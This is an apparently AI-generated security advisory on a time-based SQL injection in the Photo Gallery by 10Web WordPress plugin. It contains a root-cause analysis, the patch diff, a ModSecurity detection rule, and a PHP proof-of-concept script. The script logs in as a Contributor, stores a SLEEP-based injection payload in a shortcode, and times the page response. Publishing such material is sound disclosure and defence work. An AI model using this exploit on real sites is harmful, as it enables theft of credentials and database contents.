Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 10, 2026

CVE-2026-9829: Photo Gallery by 10Web <= 1.8.41 Authenticated (Contributor+) SQL Injection via 'compact_album_order_by' Shortcode Parameter PoC, Patch Analysis & Rule

CVE ID CVE-2026-9829
Plugin photo-gallery
Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 1.8.41
Patched Version 1.8.42
Disclosed June 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-9829: This vulnerability is a time-based SQL Injection in the Photo Gallery by 10Web plugin (versions <= 1.8.41). It affects the 'compact_album_order_by' shortcode parameter. An authenticated attacker with Contributor-level access can inject malicious SQL queries. These queries can extract sensitive data from the WordPress database. The vulnerability has a CVSS score of 6.5.

The root cause is insufficient input sanitization and lack of parameterized queries in the plugin's data handling. The vulnerability originates in the shortcode processing. The 'compact_album_order_by' parameter, which controls the sorting order for album views, is passed without sanitization into an SQL query. The vulnerable code is in the 'photo-gallery/frontend/models/model.php' file, specifically in the model function that builds the SQL query for album galleries. The user-supplied 'compact_album_order_by' value is directly concatenated into an ORDER BY clause. The shortcode input is initially stored by the 'shortcode_bwg' AJAX handler in 'admin/controllers/Shortcode.php'. The vulnerable code path lacks an escape on the parameter, allowing an attacker to break out of the intended SQL structure.

An attacker with Contributor-level access can craft a malicious shortcode containing SQL injection payload in the 'compact_album_order_by' parameter. The shortcode is saved via a POST request to /wp-admin/admin-ajax.php with the action 'shortcode_bwg'. A key aspect of the vulnerability is that by omitting the 'page' parameter, the nonce verification is bypassed. After saving, the malicious shortcode is stored. The attack is then triggered when an unauthenticated user or visitor loads a page containing the crafted shortcode. The 'bwg_frontend_data' AJAX handler processes the shortcode and executes the injected SQL. The injection is time-based, meaning an attacker uses conditional SQL commands (e.g., IF(condition, SLEEP(5), 0)) to infer data from the database based on the response time.

The patch introduces several sanitization functions in 'framework/WDWLibrary.php' to fix the vulnerability. Three new functions are added: 'sanitize_album_sort_column', 'sanitize_sort_direction', and 'sanitize_image_sort_column'. These functions use whitelisting to ensure only valid, expected values are used in SQL queries. 'sanitize_album_sort_column' limits the column name to a set of allowed values ('order', 'name', 'modified_date', 'id'). 'sanitize_sort_direction' restricts the sort order to either 'ASC' or 'DESC'. The core fix in 'frontend/models/model.php' applies these sanitization functions. Before the patch, the user input was used directly in 'ORDER BY `' . $sort_by . '` ' . $order_by. After the patch, the input is sanitized first, and then the sanitized values are used to construct the query. The patch also adds 'sanitize_shortcode_tagtext' to sanitize shortcode attributes at the point of storage, preventing the malicious payload from being saved in the first place. Additionally, the nonce check in 'admin/controllers/Shortcode.php' was improved.

Successful exploitation of this SQL injection vulnerability can allow an attacker to extract sensitive information from the WordPress database. This includes usernames, password hashes, user session tokens, private post content, and other plugin-specific data. The attacker can achieve data exfiltration of the entire database over time, using time-based inference techniques. There is no direct privilege escalation to administrator, but the extracted credentials could be leveraged for further attacks. The vulnerability does not allow direct file modification or remote code execution.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/photo-gallery/admin/controllers/Shortcode.php
+++ b/photo-gallery/admin/controllers/Shortcode.php
@@ -11,7 +11,7 @@

   public function execute() {
     $task = WDWLibrary::get('task');
-    if ( $task != '' && $this->from_menu ) {
+    if ( $task != '' && ( $this->from_menu || $task === 'save' ) ) {
       if ( !WDWLibrary::verify_nonce(BWG()->nonce) ) {
         die('Sorry, your nonce did not verify.');
       }
@@ -58,6 +58,7 @@
     global $wpdb;
     $tagtext = WDWLibrary::get('tagtext');
     if ($tagtext) {
+      $tagtext = WDWLibrary::sanitize_shortcode_tagtext( $tagtext );
       /* clear tags */
       $tagtext = " " . $tagtext;
       $id = WDWLibrary::get('currrent_id', 0, 'intval');
--- a/photo-gallery/framework/WDWLibrary.php
+++ b/photo-gallery/framework/WDWLibrary.php
@@ -3302,6 +3302,103 @@
   }

   /**
+   * Whitelist sort direction for SQL ORDER BY (returns ASC or DESC).
+   *
+   * @param string $order_by
+   *
+   * @return string
+   */
+  public static function sanitize_sort_direction( $order_by ) {
+    return ( strtolower( trim( (string) $order_by ) ) === 'asc' ) ? 'ASC' : 'DESC';
+  }
+
+  /**
+   * Whitelist album/gallery-group sort column for SQL ORDER BY.
+   *
+   * @param string $sort_by
+   * @param string $from
+   *
+   * @return string
+   */
+  public static function sanitize_album_sort_column( $sort_by, $from = '' ) {
+    if ( !empty( $from ) && $from === 'widget' ) {
+      return 'id';
+    }
+    $sort_by = trim( (string) $sort_by );
+    if ( $sort_by === 'random' || $sort_by === 'RAND()' ) {
+      return 'random';
+    }
+    $allowed_columns = array( 'order', 'name', 'modified_date', 'id' );
+    return in_array( $sort_by, $allowed_columns, true ) ? $sort_by : 'order';
+  }
+
+  /**
+   * Whitelist image sort column for shortcode attributes.
+   *
+   * @param string $sort_by
+   *
+   * @return string
+   */
+  public static function sanitize_image_sort_column( $sort_by ) {
+    $sort_by = trim( (string) $sort_by );
+    if ( $sort_by === 'RAND()' ) {
+      return 'random';
+    }
+    $allowed_columns = array( 'order', 'alt', 'date', 'filename', 'size', 'resolution', 'random', 'filetype' );
+    return in_array( $sort_by, $allowed_columns, true ) ? $sort_by : 'order';
+  }
+
+  /**
+   * Sanitize sort/order attributes in shortcode tagtext before storage.
+   *
+   * @param string $tagtext
+   *
+   * @return string
+   */
+  public static function sanitize_shortcode_tagtext( $tagtext ) {
+    $tagtext = trim( (string) $tagtext );
+    if ( $tagtext === '' ) {
+      return '';
+    }
+    $data = self::parse_tagtext_to_array( $tagtext );
+    if ( empty( $data ) ) {
+      return $tagtext;
+    }
+    $album_group_sort_keys = array(
+      'compact_album_sort_by',
+      'masonry_album_sort_by',
+      'extended_album_sort_by',
+      'all_album_sort_by',
+    );
+    $sanitized = '';
+    foreach ( $data as $key => $value ) {
+      if ( in_array( $key, $album_group_sort_keys, true ) ) {
+        $value = self::sanitize_album_sort_column( $value );
+      }
+      elseif ( preg_match( '/_order_by$/', $key ) || $key === 'order_by' ) {
+        $value = ( self::sanitize_sort_direction( $value ) === 'ASC' ) ? 'asc' : 'desc';
+      }
+      elseif ( preg_match( '/_sort_by$/', $key ) || $key === 'sort_by' ) {
+        $value = self::sanitize_image_sort_column( $value );
+      }
+      $sanitized .= ' ' . $key . '="' . self::escape_shortcode_attribute_value( $value ) . '"';
+    }
+
+    return $sanitized;
+  }
+
+  /**
+   * Strip characters that break shortcode attribute quoting (preserves URLs and other content).
+   *
+   * @param string $value
+   *
+   * @return string
+   */
+  public static function escape_shortcode_attribute_value( $value ) {
+    return str_replace( array( '"', "" ), '', (string) $value );
+  }
+
+  /**

  * @param $tagtext
  *
--- a/photo-gallery/frontend/models/model.php
+++ b/photo-gallery/frontend/models/model.php
@@ -110,10 +110,14 @@
       $albums_per_page = 0;
     }
     global $wpdb;
-    $order_by = 'ORDER BY `' . ( ( !empty( $from ) && $from === 'widget' ) ? 'id' : $sort_by ) . '` ' . $order_by;
-    if ( $sort_by == 'random' || $sort_by == 'RAND()' ) {
+    $sort_by = WDWLibrary::sanitize_album_sort_column( $sort_by, $from );
+    $sort_direction = WDWLibrary::sanitize_sort_direction( $order_by );
+    if ( $sort_by === 'random' ) {
       $order_by = 'ORDER BY RAND()';
     }
+    else {
+      $order_by = 'ORDER BY `' . $sort_by . '` ' . $sort_direction;
+    }
     $search_where = '';
     $search_value = trim( WDWLibrary::get( 'bwg_search_' . $bwg ) );
     if ( !empty( $search_value ) ) {
--- a/photo-gallery/photo-gallery.php
+++ b/photo-gallery/photo-gallery.php
@@ -3,7 +3,7 @@
  * Plugin Name: Photo Gallery
  * Plugin URI: https://10web.io/plugins/wordpress-photo-gallery/?utm_source=photo_gallery&utm_medium=free_plugin
  * Description: This plugin is a fully responsive gallery plugin with advanced functionality.  It allows having different image galleries for your posts and pages. You can create unlimited number of galleries, combine them into albums, and provide descriptions and tags.
- * Version: 1.8.41
+ * Version: 1.8.42
  * Author: Photo Gallery Team
  * Author URI: https://10web.io/plugins/?utm_source=photo_gallery&utm_medium=free_plugin
  * Text Domain: photo-gallery
@@ -107,8 +107,8 @@
     $this->plugin_url = plugins_url(plugin_basename(dirname(__FILE__)));
     $this->front_url = $this->plugin_url;
     $this->main_file = plugin_basename(__FILE__);
-    $this->plugin_version = '1.8.41';
-    $this->db_version = '1.8.41';
+    $this->plugin_version = '1.8.42';
+    $this->db_version = '1.8.42';
     $this->prefix = 'bwg';
     $this->nicename = __('Photo Gallery', 'photo-gallery');
     require_once($this->plugin_dir . '/framework/WDWLibrary.php');

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-9829 Photo Gallery SQL Injection via shortcode_bwg',severity:'CRITICAL',tag:'CVE-2026-9829'"
SecRule ARGS_POST:action "@streq shortcode_bwg" "chain"
SecRule ARGS_POST:tagtext "@rx bwg.*(compact_album_order_by|order_by)" "chain"
SecRule ARGS_POST:tagtext "@rx (SELECT|SLEEP|IF|BENCHMARK|UNION|INFORMATION_SCHEMA)" "t:none,t:urlDecodeUni,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-9829 - Photo Gallery by 10Web <= 1.8.41 SQL Injection

// Set the target URL (replace with your target's URL)
$target_url = 'http://example.com';

// Credentials for a Contributor-level user
$contributor_user = 'contributor';
$contributor_pass = 'password';

// Step 1: Login to get a cookie
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $contributor_user,
    'pwd' => $contributor_pass,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookiejar.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
$response = curl_exec($ch);
curl_close($ch);

// Check if login was successful (we don't have a direct way to verify without parsing the response)
echo "[*] Login attempt completed.n";

// Step 2: Save a malicious shortcode via the vulnerable 'shortcode_bwg' AJAX endpoint
// The payload attempts a blind SQL injection using SLEEP() to confirm execution
// The time-based check will use a conditional that always sleeps for 5 seconds
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$malicious_payload = 'INSERT INTO wp_posts (post_content) VALUES ("test")';
$shortcode_text = '[bwg compact_album_order_by="IF(1=1, (SELECT SLEEP(5)), 0)"]';

$post_data = array(
    'action' => 'shortcode_bwg',
    'tagtext' => $shortcode_text,
    'task' => 'save',
    'currrent_id' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookiejar.txt');
curl_setopt($ch, CURLOPT_HEADER, true);
$save_response = curl_exec($ch);
curl_close($ch);

echo "[*] Shortcode save attempt completed.n";

// Step 3: Trigger the stored shortcode by loading a page that uses it
// The shortcode will be processed by the 'bwg_frontend_data' AJAX handler
// which executes the SQL query and triggers the SLEEP()
$trigger_url = $target_url . '/?page_id=1'; // Assuming the shortcode is on the front page

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $trigger_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$start_time = microtime(true);
$trigger_response = curl_exec($ch);
$end_time = microtime(true);
$duration = $end_time - $start_time;
curl_close($ch);

echo "[*] Request duration: " . round($duration, 2) . " seconds.n";
if ($duration > 4.5) {
    echo "[+] Vulnerability confirmed! The SQL injection payload executed and triggered a delay.n";
} else {
    echo "[-] No delay detected. The attack did not work or the site is patched.n";
}

// Clean up the temporary cookie file
unlink('/tmp/cookiejar.txt');
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School